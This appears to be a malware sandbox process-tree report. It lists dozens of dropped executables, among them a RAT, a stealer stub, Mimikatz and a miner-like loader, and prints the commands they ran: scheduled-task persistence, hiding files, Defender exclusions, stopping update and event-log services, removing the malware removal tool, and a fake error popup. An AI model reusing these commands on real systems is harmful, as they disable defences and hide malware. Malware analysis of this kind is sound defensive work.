- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp2AB0.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp2AB0.tmp.bat4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\r2.exe"C:\Users\Admin\AppData\Local\Temp\Files\r2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe"C:\Users\Admin\AppData\Local\Temp\Files\%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\test_again4.exe"C:\Users\Admin\AppData\Local\Temp\Files\test_again4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ven_protected.exe"C:\Users\Admin\AppData\Local\Temp\Files\ven_protected.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Discord3.exe"C:\Users\Admin\AppData\Local\Temp\Files\Discord3.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"' & exit4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"'5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpADF9.tmp.bat""4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\Discord.exe"C:\Users\Admin\AppData\Roaming\Discord.exe"5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ZZZ.exe"C:\Users\Admin\AppData\Local\Temp\Files\ZZZ.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5196 -s 4444⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\zts.exe"C:\Users\Admin\AppData\Local\Temp\Files\zts.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4484 -s 4404⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TigerHulk3.exe"C:\Users\Admin\AppData\Local\Temp\Files\TigerHulk3.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\chromedump.exe"C:\Users\Admin\AppData\Local\Temp\Files\chromedump.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\C1J7SVw.exe"C:\Users\Admin\AppData\Local\Temp\Files\C1J7SVw.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"4⤵
-
C:\Windows\system32\mode.commode 65,105⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p24291711423417250691697322505 -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\attrib.exeattrib +H "in.exe"5⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\in.exe"in.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\attrib.exeattrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe6⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe6⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.0.0.1; del in.exe6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rat.exe"C:\Users\Admin\AppData\Local\Temp\Files\rat.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\rat.exe"C:\Users\Admin\AppData\Local\Temp\Files\rat.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\481117205.exeC:\Users\Admin\AppData\Local\Temp\481117205.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\sysnldcvmr.exeC:\Windows\sysnldcvmr.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\3193919340.exeC:\Users\Admin\AppData\Local\Temp\3193919340.exe6⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f7⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"7⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"8⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\78947491.exeC:\Users\Admin\AppData\Local\Temp\78947491.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1902930370.exeC:\Users\Admin\AppData\Local\Temp\1902930370.exe7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\557628208.exeC:\Users\Admin\AppData\Local\Temp\557628208.exe6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\890517074.exeC:\Users\Admin\AppData\Local\Temp\890517074.exe6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe"C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1533232769.exeC:\Users\Admin\AppData\Local\Temp\1533232769.exe4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\Files\yiklfON.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Files\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\Files\yiklfON.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Lumm.exe"C:\Users\Admin\AppData\Local\Temp\Files\Lumm.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ChromeSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ChromeSetup.exe"3⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Temp\GUM7DAE.tmp\GoogleUpdate.exe"C:\Program Files (x86)\Google\Temp\GUM7DAE.tmp\GoogleUpdate.exe" /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={DB24EDD3-9920-5D5F-FBBE-8E743F7486C1}&lang=zh-CN&browser=2&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"4⤵
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc5⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={DB24EDD3-9920-5D5F-FBBE-8E743F7486C1}&lang=zh-CN&browser=2&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{E043A5E7-D2FF-4F8B-A317-35ECB09050EF}"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Vhpcde.exe"C:\Users\Admin\AppData\Local\Temp\Files\Vhpcde.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\r.exe"C:\Users\Admin\AppData\Local\Temp\Files\r.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TT18.exe"C:\Users\Admin\AppData\Local\Temp\Files\TT18.exe"3⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\gZtXpepbYS'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\gZtXpepbYS\u6V4s1Fv.exe"C:\gZtXpepbYS\u6V4s1Fv.exe"4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\gZtXpepbYS\u6V4s1Fv.exe" & rd /s /q "C:\ProgramData\EGIDAAFIEHIE" & exit5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout /t 106⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\anne.exe"C:\Users\Admin\AppData\Local\Temp\Files\anne.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"4⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\clcs.exe"C:\Users\Admin\AppData\Local\Temp\Files\clcs.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2980 -s 7284⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\d8rb24m3.exe"C:\Users\Admin\AppData\Local\Temp\Files\d8rb24m3.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe"C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe"C:\Users\Admin\AppData\Roaming\SubDir\2klz.exe"4⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\s.exe"C:\Users\Admin\AppData\Local\Temp\Files\s.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\yellow-rose.exe"C:\Users\Admin\AppData\Local\Temp\Files\yellow-rose.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\eps9m380cn.exe"C:\Users\Admin\AppData\Local\Temp\Files\eps9m380cn.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\eps9m380cn.exe"C:\Users\Admin\AppData\Local\Temp\Files\eps9m380cn.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\r42aoop5.exe"C:\Users\Admin\AppData\Local\Temp\Files\r42aoop5.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gU8ND0g.exe"C:\Users\Admin\AppData\Local\Temp\Files\gU8ND0g.exe"3⤵
-
C:\Windows\SYSTEM32\attrib.exeattrib +H +S C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe4⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe4⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.0.0.1; del gU8ND0g.exe4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NVIDIA.exe"C:\Users\Admin\AppData\Local\Temp\Files\NVIDIA.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4940 -s 14324⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svcyr.exe"C:\Users\Admin\AppData\Local\Temp\Files\svcyr.exe"3⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PkContent.exe"C:\Users\Admin\AppData\Local\Temp\Files\PkContent.exe"3⤵
- Checks computer location settings
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\test22.exe"C:\Users\Admin\AppData\Local\Temp\Files\test22.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\248364651.exe"C:\Users\Admin\AppData\Local\Temp\Files\248364651.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 8724⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WindowsUI.exe"C:\Users\Admin\AppData\Local\Temp\Files\WindowsUI.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\noll.exe"C:\Users\Admin\AppData\Local\Temp\Files\noll.exe"3⤵
- Checks computer location settings
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\Files\putty.exe"C:\Users\Admin\AppData\Local\Temp\Files\putty.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bot2.exe"C:\Users\Admin\AppData\Local\Temp\Files\bot2.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dujkgsf.exe"C:\Users\Admin\AppData\Local\Temp\Files\dujkgsf.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\newbundle2.exe"C:\Users\Admin\AppData\Local\Temp\Files\newbundle2.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ardara.exe"C:\Users\Admin\AppData\Local\Temp\Files\ardara.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Reaper%20cfx%20Spoofer%20V2.exe"C:\Users\Admin\AppData\Local\Temp\Files\Reaper%20cfx%20Spoofer%20V2.exe"3⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cfx.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cfx.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\heo.exe"C:\Users\Admin\AppData\Local\Temp\Files\heo.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 8084⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Server.exe"C:\Users\Admin\AppData\Local\Temp\Files\Server.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe"C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\HVNC1.exe"C:\Users\Admin\AppData\Local\Temp\Files\HVNC1.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\SrbijaSetupHokej.exe"C:\Users\Admin\AppData\Local\Temp\Files\SrbijaSetupHokej.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lega.exe"C:\Users\Admin\AppData\Local\Temp\Files\lega.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\t.exe"C:\Users\Admin\AppData\Local\Temp\Files\t.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file.exe"C:\Users\Admin\AppData\Local\Temp\Files\file.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lummnew.exe"C:\Users\Admin\AppData\Local\Temp\Files\lummnew.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jy.exe"C:\Users\Admin\AppData\Local\Temp\Files\jy.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VCIE0.tmp\jy.tmp"C:\Users\Admin\AppData\Local\Temp\is-VCIE0.tmp\jy.tmp" /SL5="$103A6,1888137,52736,C:\Users\Admin\AppData\Local\Temp\Files\jy.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\shttpsr_mg.exe"C:\Users\Admin\AppData\Local\Temp\Files\shttpsr_mg.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\5447jsX.exe"C:\Users\Admin\AppData\Local\Temp\Files\5447jsX.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\basx.exe"C:\Users\Admin\AppData\Local\Temp\Files\basx.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hiya.exe"C:\Users\Admin\AppData\Local\Temp\Files\hiya.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PHJG9876789000.exe"C:\Users\Admin\AppData\Local\Temp\Files\PHJG9876789000.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\9402.tmp.exe"C:\Users\Admin\AppData\Local\Temp\Files\9402.tmp.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\chrome_93.exe"C:\Users\Admin\AppData\Local\Temp\Files\chrome_93.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\chicken123.exe"C:\Users\Admin\AppData\Local\Temp\Files\chicken123.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\roblox1.exe"C:\Users\Admin\AppData\Local\Temp\Files\roblox1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\onefile_60_133785297896286583\stub.exeC:\Users\Admin\AppData\Local\Temp\Files\roblox1.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe""5⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""5⤵
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"6⤵
-
-
-
